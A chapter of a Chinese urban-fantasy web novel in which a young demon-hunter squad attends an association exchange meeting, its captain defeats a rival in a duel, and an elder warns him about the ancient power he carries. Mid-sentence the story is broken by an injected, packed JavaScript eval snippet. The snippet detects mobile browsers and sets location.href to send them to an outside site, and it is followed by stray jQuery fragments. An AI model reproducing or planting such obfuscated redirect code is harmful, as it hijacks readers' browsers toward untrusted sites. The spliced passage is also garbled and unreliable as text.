(接上文)
一个月后。桐城,城东老街。
“老余杂货铺”的废墟上,奇迹般地立起了一座崭新的二层小楼。
灰砖青瓦,木质门窗,和周围的老街风格浑然一体,若不是知情人,根本看不出这里一个月前刚经历了一场差点把整条街掀翻的大战。
老余叼着烟斗,站在二楼阳台上,看着楼下小院里四个挥汗如雨的年轻人,浑浊的老眼里满是复杂。
“一个月了……”他喃喃道,“这四个小崽子,还真把这儿当家了。”
楼下。
小院被改造成了一个简陋的训练场——四个角落立着老余不知从哪淘来的测试石桩,地面上画着复杂的灵力轨迹线,院墙上钉满了剑痕和烧灼的印记。
此刻,训练正酣。
“苏晴!左后方!”周通的声音炸响。
苏晴指尖金红色光芒骤亮,头也不回地向左后方甩出一道金焰指!噗的一声,一枚从暗处飞来的测试石子被凌空击碎,化成粉末。
“漂亮!”周通赞了一声,身形已经如同鬼魅般飘移到她身侧,血焰双剑交错横挡——
叮!
一柄暗银色的飞剑正正撞在双剑交叉点上,火花四溅!飞剑被震退,但瞬间一分为三,从三个不同角度再次袭来!
周通嘴角勾起一抹兴奋的笑意:“来得好!”
他双剑齐舞,血红色的剑光织成一道密不透风的火网,将三柄飞剑尽数挡下!但飞剑被挡开的同时,又有五柄从侧翼悄然掩至——
“靠!林墨你这阴货!”
周通怪叫一声,身形猛地拔高,险之又险地从五柄飞剑的包围圈中蹿出,落地时一个踉跄,差点栽进旁边的测试石桩里。
林墨站在小院另一头,神色平静,手指微动,八柄飞剑如同归巢的燕群,在他身周缓缓悬浮,剑尖依旧若有若无地指着周通。
“实战中,敌人不会给你准备的时间。”他淡淡道。
周通翻了个白眼:“得,你是队长你说了算。胖子,该你了!”
王琨喘着粗气从旁边走过来,手里的山岳剑已经变成了门板大小,扛在肩上像扛着一扇城门。他刚才一直在对着测试石桩狂砸,这会儿满头大汗,衣服都湿透了。
“来就来!”他瓮声瓮气地说,举起巨剑对准林墨,“林墨,接我一招泰山压顶!”
林墨手指微动,八柄飞剑瞬间合一,化作一道流光,直奔王琨——
王琨却根本没有抵挡的意思,反而咧嘴一笑,山岳剑猛地往地上一杵!
轰!
巨剑落地,一股狂暴的冲击波以他为中心轰然扩散!地面龟裂,碎石飞溅,那道袭来的流光被冲击波震得一偏,擦着他的肩膀掠过,钉进了身后的院墙!
与此同时,王琨已经抓起巨剑,趁着林墨飞剑被震偏的空隙,整个人如同炮弹般冲了过去!
“嘿嘿,没想到吧!”他大笑着,山岳剑迎风再长,化作真正的门板大小,兜头盖脸地向林墨拍去!
林墨眼神微动,却没有后退。
他抬手——
嗡!
剩余的七柄飞剑瞬间出现在他身前,剑尖朝外,排列成一道密不透风的剑盾!
轰隆!
门板巨剑拍在剑盾上,爆发出惊人的巨响!林墨被震得倒退三步,但剑盾纹丝不动!而王琨被反震力弹开,一屁股坐在地上,山岳剑脱手飞出,插在院墙里,嗡嗡颤抖。
“服了服了!”王琨举起双手,“你这剑盾也太变态了!”
周通在一旁鼓掌:“精彩精彩!胖子你这招泰山压顶威力见长啊,可惜对手太变态。”
苏晴小跑过来,递给林墨一块毛巾,又给王琨递了杯水,小脸上带着笑意:“大家都进步了好多!”
老余叼着烟斗从楼上下来,慢悠悠地走进小院,看着一片狼藉的训练场,没好气地说:“进步个屁!老子的院墙都快被你们拆完了!”
周通嬉皮笑脸地凑过去:“余叔,别心疼这点小钱嘛。等我们哪天发财了,给您修个金墙!”
“金你个头!”老余一巴掌拍在他后脑勺上,但眼里却带着笑意,“行了行了,都歇会儿吧。有正事。”
他从怀里掏出一个信封,递给林墨。
林墨接过,抽出里面的信纸,目光一扫,眉头微微皱起。
周通凑过来:“什么玩意儿?”
“邀请函。”林墨把信纸递给他。
周通接过,念了出来:“兹邀请‘不好惹’破魔队,参加第七届东南区破魔小队交流大会……呃?”
他抬起头,一脸懵:“‘不好惹’破魔队?谁啊这是?”
王琨挠挠头:“咱们队什么时候叫这名了?”
苏晴小声说:“好像是上周,咱们去城西处理那窝噬魂鼠的时候,有个围观的人喊的……‘这四个不好惹,别靠近’……”
周通愣了一秒,然后哈哈大笑:“不好惹!这名字好啊!霸气!我喜欢!”
林墨没有笑,目光落在邀请函的落款处。
“破魔师协会东南区分会,青年发展部。”
他抬起头,看向老余:“余叔,这什么意思?”
老余嘬了口烟斗,慢悠悠地说:“意思就是,你们四个,被盯上了。”
小院里的气氛瞬间凝重起来。
周通收起笑容,眼中闪过一丝冷意:“破魔师协会的人?他们想干什么?”
老余在石凳上坐下,敲了敲烟斗:“这邀请函,表面上是官方的交流活动,什么切磋技艺、增进感情之类的套话。但据我所知,这‘交流大会’背后,没那么简单。”
他顿了顿,看向林墨:“你们这一个月,处理了多少委托?”
林墨想了想:“十三件。城西的噬魂鼠,城南的厉鬼伤人,东郊的水鬼,还有几个小型的精怪作乱……”
“十三件。”老余点点头,“作为一个刚成立一个月、只有四个人的小队,这个战绩,已经相当扎眼了。而且你们每次处理得都干净利落,不留后患,口碑渐渐传开了。”
他看向苏晴:“尤其是你爷爷那本笔记里的知识,帮你们避了不少坑吧?”
苏晴点点头,又有些担忧:“余叔,您的意思是……协会注意到我们了?”
“何止是注意到。”老余冷笑一声,“你们忘了,一个月前,周瑾死在你们面前。虽然当时在场的人都吓破了胆,但消息怎么可能完全封锁?协会高层早就把你们的名字记在小本本上了。”
周通沉声道:“那这邀请函,是鸿门宴?”
“不一定。”老余摇摇头,“协会虽然内部烂透了,但明面上还是要维持规矩的。他们不可能明目张胆地对你们下手。但这‘交流大会’,确实是个试探的好机会。”
林墨看着他:“试探什么?”
老余的目光落在林墨颈间的吊坠上,沉默了几秒,缓缓道:“试探你们几个,到底有多大本事。试探你身上那个东西,到底有多危险。试探你们——值不值得他们花大代价对付。”
院子里陷入沉默。
王琨挠挠头:“那咱们不去不就完了?”
“不去?”老余笑了,“不去,就是心虚。心虚,就是有问题。有问题,他们就有理由‘调查’你们。到时候来的可就不是邀请函了。”
周通握紧血焰双剑,眼中闪过一丝戾气:“那就去。我倒要看看,那些道貌岸然的家伙,能玩出什么花样。”
林墨沉默了片刻,看向三个同伴。
王琨一脸无所谓:“我听你的。”
苏晴虽然有些紧张,但还是点点头:“我也去。”
周通咧嘴一笑:“废话,这种热闹怎么能少了我?”
林墨收回目光,看向老余:“余叔,这大会什么时候?”
“三天后。桐城市中心,破魔师协会东南区分会总部。”
林墨点点头,把邀请函收进怀里。
“那我们就去会会他们。”
三天后。桐城市中心。
破魔师协会东南区分会总部,是一栋高二十八层的现代化大厦,通体覆盖着深蓝色的玻璃幕墙,在阳光下反射着冰冷的光芒。大厦顶端,巨大的协会标志——盾牌、剑与法杖——在风中熠熠生辉。
林墨四人站在大厦门口,仰头看着这栋建筑,表情各异。
王琨咂咂嘴:“乖乖,真气派。咱们那破小院跟这儿一比,简直是贫民窟。”
周通嗤笑一声:“气派有什么用?里面住着的,未必是好人。”
苏晴抱着那本笔记——她现在已经习惯随身带着了——小脸上带着紧张,但也有一丝好奇。
林墨没说话,只是抬手按了按颈间的吊坠。骨片冰凉,三颗竖瞳紧闭,没有任何异动。
“走吧。”
四人穿过旋转门,走进大厦一层大厅。
大厅宽敞明亮,地面铺着光可鉴人的大理石,挑高的穹顶上悬挂着巨大的水晶吊灯。大厅中央是一个巨大的圆形服务台,几名穿着协会制服的工作人员正在忙碌。四周的墙壁上挂着各种荣誉证书和合影照片,还有电子屏滚动播放着协会的各类通知。
而此刻,大厅里已经聚集了不少人。
都是年轻人——二十出头,三十不到,三三两两聚在一起,有的穿着统一的队服,有的则和林墨他们一样,穿着各自的作战服。每个人身上都散发着或强或弱的灵力波动,眼神或好奇或警惕地打量着四周的陌生人。
“东南区分会下属十二个城市的破魔小队,今天都来了。”周通扫了一圈,低声道,“至少二三十支队伍。”
王琨咽了口唾沫:“乖乖,这么多人……”
苏晴有些紧张地往林墨身边靠了靠。
林墨神色不变,带着三人走向服务台。
“你好,‘不好惹’破魔队,前来报到。”
服务台后的工作人员是个年轻女孩,抬头看了他们一眼,目光在林墨脸上停了一瞬,又在周通脸上停了一瞬,眼神微微一亮——随即意识到失态,赶紧低头翻看名单。
“不好惹……不好惹……找到了。”她在名单上打了个勾,递给林墨四个胸牌,“这是你们的身份牌,请佩戴好。大会九点正式开始,地点在十二层多功能厅。现在可以先到休息区等候。”
林墨接过胸牌,分给三人,然后带着他们走向大厅一侧的休息区。
休息区摆放着几排沙发,已经有几支队伍坐在那里。看到林墨四人走过来,几道目光齐刷刷地扫过来——有好奇,有打量,也有不加掩饰的敌意。
“哟,这就是那个‘不好惹’?”一个阴阳怪气的声音响起。
林墨循声看去。
休息区角落的沙发上,坐着五个穿着统一银灰色作战服的年轻人。为首的是个留着寸头的壮实青年,翘着二郎腿,手里转着一柄短刀,脸上带着毫不掩饰的嘲讽。
“‘不好惹’——啧啧,这名字起的,真够狂的。”寸头青年咧嘴一笑,露出满口白牙,“不知道的,还以为是什么了不得的大人物呢。”
他身边的几个同伴跟着笑起来。
周通眉头一挑,就要上前,被林墨抬手拦住。
“别理他们。”林墨淡淡道。
他带着三人走到休息区另一侧的空沙发上坐下,完全无视了那几道挑衅的目光。
寸头青年见他们不接茬,脸上的笑容微微一僵,随即冷哼一声,继续转着手里的短刀,但目光时不时地往这边瞟。
王琨压低声音:“那帮人谁啊?这么欠揍?”
周通瞥了一眼,嘴角勾起一抹冷笑:“如果我没猜错,应该是‘飞云’破魔队。去年东南区排名第七,队长叫赵虎,就是那个转刀的寸头。听说是个暴发户的儿子,仗着家里有钱有势,养了一帮打手,在协会里横着走。”
“排名第七?”王琨挠挠头,“那咱们算什么排名?”
“咱们?”周通笑了,“咱们是新队伍,还没进排名呢。在那些人眼里,就是来凑数的。”
苏晴小声说:“所以他们才敢这么嚣张?”
林墨淡淡道:“无所谓。我们是来交流的,不是来比排名的。”
话虽如此,但他心里清楚,今天这场“交流”,恐怕没那么简单。
九点整,十二层多功能厅。
能容纳三百人的大厅里,座无虚席。来自东南区十二个城市的三十七支破魔小队,近两百名年轻破魔师齐聚一堂。台上挂着巨大的横幅:“第七届东南区破魔小队交流大会”。
林墨四人坐在后排角落的位置。这是林墨选的——既便于观察全场,又不会太引人注目。
台上,一个穿着深蓝色西装、头发梳得一丝不苟的中年男人正在讲话。他叫孟广林,破魔师协会东南区分会的副会长,据周通介绍,是个典型的官场老油条,表面上一团和气,背地里手段狠辣。
“——本次交流大会,旨在促进各破魔小队之间的交流学习,增进友谊,共同进步!大会共设三个环节:上午是各队展示,下午是自由切磋,晚上是颁奖晚宴!希望各位年轻才俊,能够充分展现自己的风采!”
掌声响起,稀稀落落。
周通凑到林墨耳边,低声道:“展示环节,就是各队上台吹牛。自由切磋,才是重头戏。说是‘切磋’,其实就是打给上面的人看——谁强谁弱,谁有潜力,谁值得培养,一目了然。”
林墨点点头,目光扫过全场。
他注意到,前排的几个位置上,坐着几个气息明显比其他人更强的人。有老有少,穿着不同的制服,但眼神都锐利而沉稳,时不时低声交谈几句,目光扫过后排的队伍。
“那是评委?”他问。
“对。”周通点头,“协会的高层,还有几个特邀的资深破魔师。据说今年还有一位大人物要来——”
话音未落,大厅后门忽然被推开。
一个穿着深红色长袍的老者,缓步走了进来。
全场瞬间安静。
那老者看起来六十多岁,头发花白,面容清瘦,但一双眼睛却深邃如渊,仿佛能看穿一切。他步伐缓慢,却带着一股无形的威压,所过之处,那些刚才还在低声交谈的年轻破魔师们,纷纷低下头去。
老者走到前排正中预留的空位上坐下,闭目养神,仿佛周围的一切与他无关。
周通倒吸一口凉气:“是他……”
林墨低声问:“谁?”
“秦渊。”周通的声音罕见地带着一丝凝重,“破魔师协会总部的长老,真正的老古董。据说实力深不可测,至少是‘天阶’以上。他怎么来了?”
天阶。
林墨眼神微凝。破魔师的实力,从低到高分人、地、天三阶,每阶又有初、中、高三级。像他们四个,林墨和周通大概在人阶高级到地阶初级之间,王琨和苏晴在人阶中级左右。而天阶——
那是真正站在金字塔顶端的存在,整个东南区分会,据说只有会长一人是天阶。
总部来的长老,天阶高手……
他怎么会出现在这种青年交流大会上?
林墨心头闪过一丝不安,但面上依旧平静。
上午的展示环节,波澜不惊。
各队轮流上台,介绍自己的成员、战绩、特长。有的中规中矩,有的刻意张扬,也有的低调内敛。林墨四人的展示很简单——林墨简单说了几句,周通补充了两句,王琨憨笑着挥了挥手,苏晴紧张得差点忘了词。
台下响起几声嗤笑,显然是那些排名靠前的队伍。
林墨不在意。
他在意的是,那位叫秦渊的长老,在他们上台时,忽然睁开眼睛,目光如同一道实质的剑光,从他们四人身上一扫而过。
那目光在苏晴身上停了一瞬——准确地说,是在她怀里那本笔记上。
然后,在林墨颈间的吊坠上,停了更久。
林墨感觉吊坠微微颤动了一下,随即恢复平静。
他心头一凛。
那老头……察觉到什么了?
中午休息时间,协会安排了自助餐。
餐厅在大厦三层,宽敞明亮,菜品丰盛。各队成员三三两两地聚在一起,有的谈笑风生,有的则互相打量着,暗中较劲。
林墨四人端着餐盘,找了个角落的位置坐下。
“那老头不对劲。”周通压低声音,“他看你们几个的眼神,有问题。”
林墨点头:“我知道。”
王琨挠头:“他看我们干啥?咱们又不认识他。”
苏晴小声说:“会不会……是因为爷爷的笔记?”
林墨沉默。笔记是一方面,但更让他担心的,是渊息。那老头在天阶高手的境界,会不会察觉到渊息的存在?
如果察觉到了,会怎么样?
他正想着,一个不速之客走了过来。
“嘿,四位,吃得挺香啊?”
林墨抬头。
来人正是上午那个挑衅的寸头青年——赵虎。他身后跟着两个跟班,脸上带着假惺惺的笑容,眼神却满是挑衅。
周通放下筷子,似笑非笑地看着他:“赵队长,有事?”
赵虎在他对面坐下,翘起二郎腿,目光在四人身上扫了一圈,最后落在林墨脸上。
“林墨是吧?听说你们队最近挺火啊,十三件委托,全搞定了?”他嘿嘿一笑,“挺能吹啊。”
王琨眉头一皱:“你说谁吹?”
“说你们啊。”赵虎摊摊手,“十三件委托,还都是难缠的活儿,一个刚成立一个月的新队伍,全搞定?骗鬼呢?怕不是有内幕吧?”
他身后的跟班跟着起哄:“就是就是,说不定是找人代打的!”
林墨看着他,目光平静如水:“说完了?”
赵虎一愣:“啊?”
“说完了就请让开。”林墨淡淡道,“你挡着光了。”
噗嗤——
旁边几桌有人没忍住,笑出声来。
赵虎的脸瞬间涨红,一拍桌子站起来:“林墨!你他妈什么意思?!”
周通慢悠悠地站起身,血焰双剑虽然没出鞘,但那股凌厉的气息已经隐隐散发出来:“赵队长,这里是餐厅,不是你们飞云队的地盘。要耍横,换个地方。”
赵虎被他气息一逼,下意识后退半步,随即恼羞成怒:“你——”
“好了。”
一个低沉的声音忽然响起。
赵虎脸色一变,回头看去。
一个穿着灰色长袍的中年男人走了过来,面容冷峻,目光锐利。林墨认出了他——上午台上坐着的一个评委,气息不弱,至少在地阶中级以上。
“孟副会长请各队队长到小会议室开会。”中年男人扫了赵虎一眼,又看了林墨一眼,“你们两个,都去。”
赵虎悻悻地哼了一声,带着跟班走了。
林墨起身,对周通三人点点头:“你们先吃,我去看看。”
小会议室在十八层,面积不大,装修却极尽奢华。落地窗外是桐城的城市景观,阳光透过玻璃洒进来,照得满室通明。
此刻,会议室里已经坐了十几个人——都是各队的队长。赵虎也在,看到林墨进来,狠狠地剜了他一眼。
林墨不在意,找了个空位坐下。
孟广林坐在首位,笑眯眯地看着众人,一副和蔼可亲的样子。但林墨注意到,他的目光时不时地扫过自己,带着一丝不易察觉的审视。
“各位都是各队的精英,今天请你们来,是想提前沟通一下下午的切磋环节。”孟广林开口,声音温和,“今年的切磋,和往年有点不一样。”
众人对视一眼,有人问:“怎么不一样?”
孟广林笑了笑:“往年是抽签决定对手,今年,我们想换个形式——自由挑战。”
自由挑战?
林墨眉头微动。
“下午的切磋环节,任何队伍都可以向任何队伍发起挑战。被挑战的队伍,可以接受,也可以拒绝。”孟广林顿了顿,“当然,拒绝的话,会被扣分。”
有人问:“扣分?什么分?”
“积分。”孟广林解释,“今年的大会引入了积分制。每支队伍的基础分是100分。接受挑战并获胜,加10分;接受挑战但失败,不扣分;拒绝挑战,扣10分。最终积分排名前三的队伍,会有丰厚的奖励。”
会议室里响起一片窃窃私语。
林墨心里却沉了沉。
自由挑战……积分制……这不就是明摆着让强队去欺负弱队吗?而那些“强队”,会不会有人故意来找他们的麻烦?
他看向孟广林。孟广林依旧笑眯眯的,但那笑容里,怎么看都透着几分算计。
果然。
下午两点,切磋环节开始。
多功能厅被改造成了临时竞技场——四周是观战席,中央是一个直径二十米的圆形擂台,擂台四周布满了防御法阵,防止灵力冲击波伤及观众。
三十七支队伍分坐观战席各处,气氛紧张而热烈。
林墨四人坐在角落的位置,静观其变。
一开始,是几支排名靠后的队伍互相挑战。实力相当,打得有来有回,虽然精彩程度一般,但也博得了不少掌声。
林墨看得仔细,不时低声给苏晴和王琨讲解一些细节——对方的破绽在哪,如果换成他们会怎么应对等等。苏晴认真记着笔记,王琨则一边看一边摩拳擦掌,跃跃欲试。
“别急。”周通笑道,“真正的好戏还没开始呢。”
他话音刚落,一个熟悉的声音响彻全场。
“我要挑战!”
赵虎站起身,目光直直地射向角落的林
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316937|198963||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
墨。
“我,飞云队队长赵虎,代表飞云队,挑战不好惹队!”
全场哗然。
飞云队,去年排名第七。不好惹队,一个新队伍,没有任何排名。这挑战,明摆着是欺负人。
但按照规则,飞云队有权挑战任何队伍。
林墨站起身,看着赵虎那张得意的脸,沉默了两秒。
然后他笑了。
那笑容让赵虎心里一突。
“接受挑战。”林墨淡淡道。
王琨蹭地站起来:“林墨,让我上!我早看那小子不顺眼了!”
周通按住他,嘴角勾起一抹笑:“急什么?队长还没发话呢。”
林墨看向赵虎:“怎么打?单挑还是团战?”
赵虎咧嘴一笑:“团战多没意思,当然是单挑——队长对队长。你和我,一对一,敢吗?”
全场再次哗然。
队长对队长,这是最直接的较量,也是最容易分出高下的方式。赵虎这是铁了心要当众羞辱林墨。
林墨点点头:“可以。”
他走上擂台。
赵虎也跳上来,手里转着那柄短刀,脸上带着胜券在握的笑容。
“林墨,别说我欺负你。”他嘿嘿一笑,“三招之内,要你好看!”
林墨没说话,只是抬起手。
嗡——
星尘出鞘。
暗银色的光芒在擂台中央缓缓悬浮,剑身上的暗金纹路流动着,如同活物。
赵虎眼中闪过一丝贪婪:“好剑!等我把你打趴下,这剑就归我了!”
他话音未落,身形已经暴起!
短刀化作一道凌厉的刀光,直劈林墨面门!
这一刀又快又狠,显然赵虎也不是浪得虚名——至少在人阶高级的水平!
林墨没动。
刀光临体的瞬间,他微微侧身,堪堪避开。
赵虎一刀落空,反手又是一刀横扫!
林墨后退半步,再次避开。
“躲什么躲!有种正面接招!”赵虎怒喝,双刀齐出——不对,他只有一柄刀,但刀光却幻化出七八道虚影,封死了林墨所有退路!
台下响起惊呼。
这是赵虎的成名绝技“虎啸刀”,据说是花大价钱从某个高手那里学来的!
林墨终于动了。
他抬手——
星尘化作一道流光,不躲不避,直直撞入那漫天刀影之中!
叮!
清脆的交击声响彻全场!
刀光瞬间消散!赵虎手中的短刀脱手飞出,在空中转了几圈,哐当一声掉在擂台边缘!
赵虎愣愣地看着自己空空的右手,满脸不可置信。
林墨站在原地,星尘飞剑静静悬浮在他身侧,剑身上连一道划痕都没有。
“三招?”林墨淡淡道,“你用了两招。”
全场死一般的寂静。
然后——
“好!!!”
王琨第一个跳起来,拼命鼓掌!
苏晴也红着脸使劲拍手,眼眶都湿润了——那是激动!
周通吹了声口哨,血焰双剑在手中转了个花:“漂亮!”
其他队伍里,也有人跟着鼓起掌来。
赵虎的脸红得像猪肝,咬牙切齿地盯着林墨,想说什么,却什么都说不出来。
“还有事吗?”林墨问。
赵虎狠狠瞪了他一眼,捡起自己的刀,灰溜溜地跳下擂台。
林墨也下了擂台,回到自己队伍里。
王琨一把搂住他肩膀:“林墨你太牛了!一招!就一招!”
周通笑道:“赵虎那小子,怕是要做三天噩梦。”
林墨摇摇头,目光却看向观战席前排。
那里,秦渊不知何时睁开了眼睛,正盯着他,或者说,盯着他身边的星尘飞剑。
那目光深邃如渊,带着一丝审视,一丝好奇,还有一丝——
林墨说不清那是什么。
但他知道,自己被盯上了。
切磋继续。
但林墨的名声,已经打出去了。
“不好惹”队的队长,一招击败飞云队队长——这个消息像长了翅膀一样,在会场里迅速传开。接下来,又有几支队伍向他们发起挑战,但林墨没有再出手,而是让周通、王琨、苏晴轮流上场。
周通的血焰双剑,凌厉霸道,连败三人,无人能挡。
王琨的山岳剑,变大变小,出其不意,虽然输了一场,但也让对手吃了不少苦头。
苏晴的金焰指,虽然灵力稍弱,但精准刁钻,配合爷爷笔记里的法术知识,居然也赢了一场。
等到傍晚时分,“不好惹”队的积分,已经蹿升到了全场第五!
晚饭时间,餐厅里,不少队伍主动过来打招呼,态度和上午判若两人。
“林队长,你们队真厉害!交个朋友呗?”
“周哥,你那血焰双剑太帅了!回头教教小弟呗?”
“苏美女,你那金焰指是哪学的?有空切磋切磋?”
王琨乐呵呵地应付着,苏晴被夸得小脸通红,周通则是一副“那当然”的傲娇模样。
林墨没怎么说话,只是安静地吃着饭,目光时不时地扫向餐厅门口。
他一直在等。
等那个真正该来的人。
晚上七点,颁奖晚宴。
积分榜最终排名揭晓——“不好惹”队以132分,位列全场第四。虽然没能进入前三,但对于一个刚成立一个月的新队伍来说,已经是惊人的成绩了。
前三名分别是去年的冠亚军和一支老牌强队,都是地阶水平的高手。
林墨不在意这个。
他在意的是,晚宴进行到一半,一个穿着协会制服的工作人员走到他身边,低声道:“林队长,秦长老请您去一趟。”
来了。
林墨站起身,对周通三人点点头,跟着工作人员离开了宴会厅。
工作人员带他来到大厦顶层,一间不起眼的办公室门前,敲了敲门,然后退下。
“进来。”
林墨推门进去。
办公室里只有一个人——秦渊,那位总部来的长老。
他坐在窗边的沙发上,面前摆着一壶茶,两个茶杯。看到林墨进来,他抬起手,指了指对面的座位。
“坐。”
林墨在他对面坐下。
秦渊倒了两杯茶,推给林墨一杯,自己端起另一杯,慢慢品了一口。
“好茶。”他说。
林墨没动茶杯,只是看着他。
秦渊放下茶杯,抬起眼,目光落在林墨脸上。
那目光深邃,平静,却仿佛能看穿一切。
“年轻人,你身上,有一个不得了的东西。”他缓缓开口。
林墨心头一凛,但面上依旧平静:“秦长老,我不明白您在说什么。”
秦渊笑了,那笑容里没有恶意,却有一种看透一切的淡然。
“你不用紧张。”他说,“我不是来抓你的,也不是来抢你的东西的。我只是——”
他顿了顿,目光落在林墨颈间的吊坠上。
“只是想看看,八百年前纵横天下的‘渊息’,如今的主人,到底是什么样的人。”
林墨瞳孔微缩。
他知道。
他全都知道。
秦渊看着他的反应,微微一笑:“很意外?年轻人,我活了一百多年,见过的东西,比你想象的要多得多。渊息的气息,虽然隐藏得很好,但在真正的高手眼里,并非无迹可寻。”
林墨沉默了几秒,缓缓道:“您想怎样?”
“我说了,不怎么样。”秦渊端起茶杯,又品了一口,“渊息认主,那是它的选择,与我无关。我只是好奇,能被它选中的人,到底是什么样的。”
他看着林墨,眼神里多了一丝欣赏。
“今天你打的那一场,我看了。沉稳,冷静,不骄不躁。出手干脆利落,不留后患。这样的人,确实配得上那柄剑。”
林墨没有说话。
秦渊放下茶杯,站起身,走到窗前,背对着林墨。
“年轻人,我提醒你几件事。”
“第一,你身上有渊息的事,瞒不了多久。今天在场的人里,除了我,至少还有两个人察觉到了。他们现在不会动你,但以后,不好说。”
“第二,你那个小队的那个丫头——苏晴,她爷爷的笔记,牵扯到的秘密,比你想象的要大得多。那些想抢笔记的人,不会善罢甘休。你护得了她一时,护不了她一世。”
“第三——”
他转过身,目光灼灼地看着林墨。
“三个月后,总部要举办一场‘天选大会’。东南区分会有三个名额,参加的人,必须是三十岁以下、实力在地阶以上的年轻破魔师。大会的胜者,可以获得进入‘上古秘境’的资格——那里,有关于上古封印的真相,也有让你变得更强的机缘。”
林墨眼神一凝。
上古秘境……上古封印的真相……
秦渊看着他,微微一笑。
“如果你能进入那个秘境,找到你想找的答案,也许——”
他顿了顿,没有说完,只是挥了挥手。
“去吧。记住我今天说的话。”
林墨站起身,沉默了一秒,然后深深看了他一眼,转身离开。
走到门口时,秦渊的声音从身后传来:
“对了,替我向渊息问个好。告诉他,老朋友们,都还在呢。”
林墨脚步一顿,随即推门而出。
回到宴会厅时,晚宴已经接近尾声。
周通三人围过来,七嘴八舌地问:“怎么样?那老头没为难你吧?”
林墨摇摇头,目光扫过全场。
他看到,前排那几个评委,有几个正盯着他,目光各异——有审视,有忌惮,也有贪婪。
他收回目光,看向三个同伴。
“回去再说。”
夜色中,四人离开了协会大厦。
身后,二十八层的高楼灯火通明,如同一座巨大的丰碑,俯瞰着这座城市。
而远处某个黑暗的角落,一双眼睛正盯着他们的背影。
“有意思……”一个沙哑的声音低语,“秦渊那老东西,居然没动手……还指点他去参加天选大会……”
“他到底在打什么主意?”
黑暗中,另一个声音响起:“不管打什么主意,吾主已经苏醒了。这一次,谁也阻挡不了。”
第一个声音沉默了几秒,然后发出一声低沉的笑。
“那就……拭目以待吧。”
月光下,四道身影渐行渐远。
前方,是更深的夜。
也是更亮的光。